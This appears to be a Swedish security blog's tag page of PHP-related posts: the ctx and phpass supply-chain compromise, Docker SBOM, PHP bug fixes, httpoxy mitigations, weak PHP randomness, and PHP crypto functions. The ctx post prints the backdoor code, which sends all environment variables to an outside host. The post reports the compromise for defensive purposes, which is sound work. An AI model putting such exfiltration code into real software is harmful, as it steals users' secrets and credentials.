Taggat med: php

PyPi-paketet CTX och phpass hackade

PyPi-paketet CTX och phpass hackade

Uppdatering: Här kan du läsa om hur sockpuppets genomförde attackerna i ”gott syfte”.

Två populära tredjepartsbibliotek har blivit hackade och en bakdörr har placerats i dessa paket. Det rör sig om python (pypi) paketet ctx samt php-biblioteket phpass. Totalt rör det sig om cirka tre miljoner användare av dessa två bibliotek.

För php-bakdörren kan man titta på följande kodsnutt. Och anledningen till att bakdörren kommer in i system är för att github-kontot hautelook raderades och någon annan skapade ett nytt konto.

Nedan följer ctx python-koden som exfiltrerar miljövariablarna där koden exekveras:

 def __init__(self):
        self.sendRequest()
    .
    .  # code that performs dict access
    .  # please DO NOT RUN THIS CODE !

     def sendRequest(self):
        string = ""
        for _, value in environ.items():
            string += value+" "

        message_bytes = string.encode('ascii')
        base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')

        response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)

För pypi-biblioteket är det troligtvis en password-spraying attack som lyckats mot det konto som har hand om ctx.

Att förhindra och försvåra attacker som använder sig av tredjepartsbibliotek är inte helt trivialt. Främst gäller det att isolera dessa paket, system och mjukvara så den inte kan ringa hem eller exfiltrera information. Dvs se till att ha en branväggspolicy som ej medger utgående trafik enkelt. Detta gäller även DNS som kan användas som kanal för att skicka ut information. Och glöm inte heller utvecklar-datorer, det gäller inte enbart servrar.

Github bör införa en längre grace-period på konton om det inte redan finns och pypi bör forcera multi-faktorsautentisering.

Docker SBOM

Docker har precis släppt en ny funktion som gör det möjligt att skapa en Software Bill Of Materials (SBOM) på en docker-image. Förutom att det är ett krav på amerikanska myndigheter att upprätta en SBOM så är det säkerhetsmässigt mycket bra att veta exakt vilka beroenden som återfinnes i ett IT-system eller mjukvara. Vid sårbarheter såsom den i log4j går det snabbare och enklare att identifiera var sårbara bibliotek återfinnes.

syft

Dockers sbom-funktion bygger på open-source projektet Syft. Och följande paket stödjer docker sbom/syft att identifiera i containers:

  • Alpine (apk)
  • Dart (pubs)
  • Debian (dpkg)
  • Go (go.mod, Go binaries)
  • Java (jar, ear, war, par, sar)
  • JavaScript (npm, yarn)
  • Jenkins Plugins (jpi, hpi)
  • PHP (composer)
  • Python (wheel, egg, poetry, requirements.txt)
  • Red Hat (rpm)
  • Ruby (gem)
  • Rust (cargo.lock)

Och för att skapa själva rapporten så finns ett antal olika SBOM-format såsom spdx, cyclonedx, json och text. Jag testade att snabbt jämföra debian med alpine utan några extra paket och då såg det ut så här:

  • Alpine – 14 paket (apk)
  • Debian – 96 paket (deb)
  • Alma Linux – 153 paket (rpm)
  • Rocky Linux – 151 paket (rpm)

Och tittar vi på hur en text-rapport från alpine:latest ser ut som är skapad med hjälp av kommandot docker sbom alpine:latest

Syft v0.43.0
 ✔ Loaded image
 ✔ Parsed imag
 ✔ Cataloged packages      [14 packages]

NAME                    VERSION      TYPE
alpine-baselayout       3.2.0-r18    apk
alpine-keys             2.4-r1       apk
apk-tools               2.12.7-r3    apk
busybox                 1.34.1-r5    apk
ca-certificates-bundle  20211220-r0  apk
libc-utils              0.7.2-r3     apk
libcrypto1.1            1.1.1n-r0    apk
libretls                3.3.4-r3     apk
libssl1.1               1.1.1n-r0    apk
musl                    1.2.2-r7     apk
musl-utils              1.2.2-r7     apk
scanelf                 1.3.3-r0     apk
ssl_client              1.34.1-r5    apk
zlib                    1.2.12-r0    apk

Hjälptext för docker sbom:

Observera att docker sbom bara finns i Docker Desktop från version 4.7.0 än så länge. Men givetvis går syft att ladda hem och köra separat.

Ett flertal sårbarheter åtgärdade i PHP

En stor mängd säkerhetsbrister har åtgärdats i det populära webbramverket PHP. Sårbarheterna som uppdagats kan leda till att en angripare kan exekvera kod, genomföra blockeringsattacker (DoS) eller installera program(?). Oklart om dessa går att utnyttja fjärrmässigt, över internet exempelvis eller om det enbart är lokala sårbarheter.

Följande versioner är sårbara:

  • PHP 7.2 före version 7.2.1
  • PHP 7.1 före version 7.1.13
  • PHP 7.0 före version 7.0.27
  • PHP 5.0 före version 5.6.33

Följande sårbarheter är åtgärdade:

Version 7.2.1
Bug #64938 (libxml_disable_entity_loader setting is shared between requests).
Bug #73124 (php_ini_scanned_files() not reporting correctly).
Bug #73830 (Directory does not exist).
Bug #74183 (preg_last_error not returning error code after error).
Bug #74782 (remove file name from output to avoid XSS).
Bug #74862 (Unable to clone instance when private clone defined).
Bug #75074 (php-process crash when is_file() is used with strings longer 260 chars).
Bug #75384 (PHP seems incompatible with OneDrive files on demand).
Bug #75409 (accept EFAULT in addition to ENOSYS as indicator that getrandom() is missing).
Bug #75511 (fread not free unused buffer).
Bug #75514 (mt_rand returns value outside [$min,$max]+ on 32-bit) (Remi)
Bug #75525 (Access Violation in vcruntime140.dll).
Bug #75535 (Inappropriately parsing HTTP response leads to PHP segment fault).
Bug #75540 (Segfault with libzip 1.3.1).
Bug #75556 (Invalid opcode 138/1/1).
Bug #75570 (”Narrowing occurred during type inference” error).
Bug #75571 (Potential infinite loop in gdImageCreateFromGifCtx).
Bug #75573 (Segmentation fault in 7.1.12 and 7.0.26).
Bug #75574 (putenv does not work properly if parameter contains non-ASCII unicode character).
Bug #75579 (Interned strings buffer overflow may cause crash).
Bug #75608 (”Narrowing occurred during type inference” error).

Version 7.1.13
Bug #60471 (Random ”Invalid request (unexpected EOF)” using a router script).
Bug #64938 (libxml_disable_entity_loader setting is shared between requests).
Bug #73124 (php_ini_scanned_files() not reporting correctly).
Bug #73830 (Directory does not exist).
Bug #74183 (preg_last_error not returning error code after error).
Bug #74782 (remove file name from output to avoid XSS).
Bug #74862 (Unable to clone instance when private clone defined).
Bug #75074 (php-process crash when is_file() is used with strings longer 260 chars).
Bug #75384 (PHP seems incompatible with OneDrive files on demand).
Bug #75409 (accept EFAULT in addition to ENOSYS as indicator that getrandom() is missing).
Bug #75511 (fread not free unused buffer).
Bug #75514 (mt_rand returns value outside [$min,$max]+ on 32-bit) (Remi)
Bug #75535 (Inappropriately parsing HTTP response leads to PHP segment fault).
Bug #75540 (Segfault with libzip 1.3.1).
Bug #75570 (”Narrowing occurred during type inference” error).
Bug #75571 (Potential infinite loop in gdImageCreateFromGifCtx).
Bug #75573 (Segmentation fault in 7.1.12 and 7.0.26).
Bug #75574 (putenv does not work properly if parameter contains non-ASCII unicode character).
Bug #75579 (Interned strings buffer overflow may cause crash).
Bug #75608 (”Narrowing occurred during type inference” error).

Version 7.0.27
Bug #60471 (Random ”Invalid request (unexpected EOF)” using a router script).
Bug #64938 (libxml_disable_entity_loader setting is shared between requests).
Bug #74183 (preg_last_error not returning error code after error).
Bug #74782 (Reflected XSS in .phar 404 page).
Bug #75384 (PHP seems incompatible with OneDrive files on demand).
Bug #75409 (accept EFAULT in addition to ENOSYS as indicator that getrandom() is missing).
Bug #75535 (Inappropriately parsing HTTP response leads to PHP segment fault).
Bug #75540 (Segfault with libzip 1.3.1).
Bug #75571 (Potential infinite loop in gdImageCreateFromGifCtx).
Bug #75573 (Segmentation fault in 7.1.12 and 7.0.26).
Bug #75579 (Interned strings buffer overflow may cause crash).

Version 5.6.33
Bug #74782 (Reflected XSS in .phar 404 page).
Bug #75571 (Potential infinite loop in gdImageCreateFromGifCtx).

Källa: US-CERT

httpoxy – Ny omfattande sårbarhet mot webbapplikationer

httpoxy attack

httpoxy är namnet på en nygammal säkerhetsbrist kan återfinnas i otroligt många ramverk för webbapplikationer. Denna nya bugg gör det möjligt för en angripare att styra om utgående trafik från en webbapplikation.

Buggen kan beskrivas lättast genom följande förfarande:

  1. Angriparen gör ett anrop mot en sårbar applikation och skickar med Proxy-http headern
  2. Applikationen gör en utgående förfrågan efter data och använder sedan uppgifter från angriparens Proxy-http header som proxy
  3. Angriparen kan sedan sätta sig i mitten och genomföra MITM-attack

Nedan listas några programspråk och dess uppsättning som kan vara sårbar för denna attack.

Programspråk Ramverk HTTP-klient
PHP php-fpm
mod_php
Guzzle 4+
Artax
Python wsgiref.handlers.CGIHandler
twisted.web.twcgi.CGIScript
requests
Go net/http/cgi net/http

Åtgärder

För att förhindra denna attack måste först och främst din applikation använda sig av ovan programspråk, ramverk och http-klient. Även så måste din webbapplikation göra utgående http-förfrågningar när en besökare gör sitt anrop.

För att ta bort HTTP_PROXY miljövariabeln som är boven i dramat så kan du som använder Nginx lägga till följande:

fastcgi_param HTTP_PROXY "";

Använder du Apache som webbserver bör du först och främst läsa denna advisory och sedan kan du använda följande direktiv för att ta bort Proxy http-headern:

RequestHeader unset Proxy

Och använder du Microsoft IIS tillsammans med PHP så bör du lägga in följande i din apphost.config:

<system.webServer>
    <rewrite>
        <rules>
            <rule name="Erase HTTP_PROXY" patternSyntax="Wildcard">
                <match url="*.*" />
                <serverVariables>
                    <set name="HTTP_PROXY" value="" />
                </serverVariables>
                <action type="None" />
            </rule>
        </rules>
    </rewrite>
</system.webServer>

Buggen har återkommit under flertalet år i olika ramverk och tyvärr så har den aldrig riktigt åtgärdats.

Säkerhetsbuggen har fått följande CVE-er:

  • CVE-2016-5385: PHP
  • CVE-2016-5386: Go
  • CVE-2016-5387: Apache HTTP Server
  • CVE-2016-5388: Apache Tomcat
  • CVE-2016-1000109: HHVM
  • CVE-2016-1000110: Python

Här hittar du mer information: httpoxy.org

Dåliga slumptal i PHP

PHP är ett av de programmeringsspråk som är populärast när det gäller utveckling mot webben. En funktion som gör det möjligt för webbapplikationen att hålla koll på om en användare är inloggad eller ej använder sig av så kallade Cookies. Det har nu visats sig att dessa Cookies går att beräkna eftersom de enbart är under 20-bitar istället för 64 som de bör.

Felaktigheten ligger i LCG (linear congruential generator) som är den pseudo-slumpgenerator som PHP 5.3.1 och tidigare använder sig av.

Samy Kamkar har hittat denna bugg och beskriver detta utförligare på nedan länk. Samy är även den person som skrev den första AJAX-masken som använde sig av MySpace.

http://samy.pl/phpwn/

Kryptering med PHP

PHP är ett mycket väl använt programmeringsspråk som används i samband med webb-programmering. Krypteringsfunktionerna i PHP kan delas upp i följande kategorier:

  • mcrypt
  • openssl
  • inbyggda

Här följer en mycket liten sammanställning av dessa tre kategorier:

mcrypt

Mcrypt som är ett tredjepartsbibliotek innefattar en mängd kryptering/dekrypterings-funktioner såsom:

Vill du exempelvis skapa en SHA256 hexsträng på godtycklig sträng kan du göra enligt följande:

$sha256b= base64_encode(bin2hex(mhash(MHASH_SHA256,$phrase)));

openssl

OpenSSL är också ett tredjepartsbibliotek och innefattar bl.a dessa funktioner:

De funktioner OpenSSL tillhandahåller i PHP är mer inriktade på assymetrisk kryptering.

inbyggda funktioner

Den mest använda krypteringsfunktionen i PHP är crypt() som stödjer följande krypteringsalgoritmer:

  • CRYPT_STD_DES – Standard DES-based encryption with a two character salt
  • CRYPT_EXT_DES – Extended DES-based encryption with a nine character salt
  • CRYPT_MD5 – MD5 encryption with a twelve character salt starting with $1$
  • CRYPT_BLOWFISH – Blowfish encryption with a sixteen character salt starting with $2$ or $2a$

Övriga kryptorelaterade funktioner som återfinns som standard i PHP är exempelvis sha1 och md5.